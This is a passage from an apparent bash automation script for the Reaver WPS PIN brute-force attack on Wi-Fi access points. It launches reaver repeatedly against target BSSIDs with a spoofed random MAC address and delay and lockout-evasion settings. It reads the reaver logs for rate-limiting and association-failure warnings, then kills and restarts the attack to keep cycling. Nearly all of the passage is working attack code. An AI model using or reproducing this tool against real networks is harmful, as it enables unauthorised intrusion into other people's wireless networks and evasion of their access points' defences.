	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME2-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME2-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME2-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME2-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME2-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME2-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME2-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME2-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME2-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME2-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME2-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP2 (ESSID: $NMEWARN2)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME2-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME2-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME2-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME2-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP2 (ESSID: $NMEWARN2)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME2-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R2 == y || $USE_R2 == Y ]] && [[ $USE_LONG2 == y || $USE_LONG2 == Y ]] && [[ $USE_PIN2 == y || $USE_PIN2 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME2"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL2"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP2"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX2" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY2"
echo -e "$info Reaver live time                   = $yel$LIVE2 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME2-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL2 -b $TARGETAP2 -r $RX2:$RY2 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN2 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME2-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE2-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME2-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME2-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME2-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME2-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME2-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME2-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME2-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME2-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME2-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME2-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME2-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME2-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP2 (ESSID: $NMEWARN2)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME2-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME2-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME2-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME2-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP2 (ESSID: $NMEWARN2)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME2-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE2 == n ] || [ $KEEP_FILE2 == N ]; then

          rm VARMAC_LOGS/$NAME2-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R3 == n || $USE_R3 == N ]] && [[ $USE_LONG3 == n || $USE_LONG3 == N ]] && [[ $USE_PIN3 == n || $USE_PIN3 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME3"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL3"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP3"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE3 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME3-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL3 -b $TARGETAP3 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME3-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE3-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME3-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME3-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME3-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME3-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME3-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME3-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME3-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME3-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME3-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME3-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME3-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME3-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP3 (ESSID: $NMEWARN3)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME3-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME3-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME3-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME3-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP3 (ESSID: $NMEWARN3)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME3-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R3 == y || $USE_R3 == Y ]] && [[ $USE_LONG3 == n || $USE_LONG3 == N ]] && [[ $USE_PIN3 == n || $USE_PIN3 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME3"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL3"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP3"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX3" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY3"
echo -e "$info Reaver live time                   = $yel$LIVE3 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME3-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL3 -b $TARGETAP3 -vv -x 60 -r $RX3:$RY3 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME3-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE3-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME3-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME3-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME3-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME3-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME3-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME3-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME3-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME3-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME3-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME3-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME3-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME3-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP3 (ESSID: $NMEWARN3)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME3-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME3-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME3-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME3-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP3 (ESSID: $NMEWARN3)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME3-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R3 == n || $USE_R3 == N ]] && [[ $USE_LONG3 == y || $USE_LONG3 == Y ]] && [[ $USE_PIN3 == n || $USE_PIN3 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME3"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL3"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP3"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE3 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME3-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL3 -b $TARGETAP3 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME3-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE3-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME3-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME3-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME3-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME3-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME3-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME3-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME3-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME3-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME3-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME3-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME3-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME3-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP3 (ESSID: $NMEWARN3)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME3-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME3-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME3-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME3-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

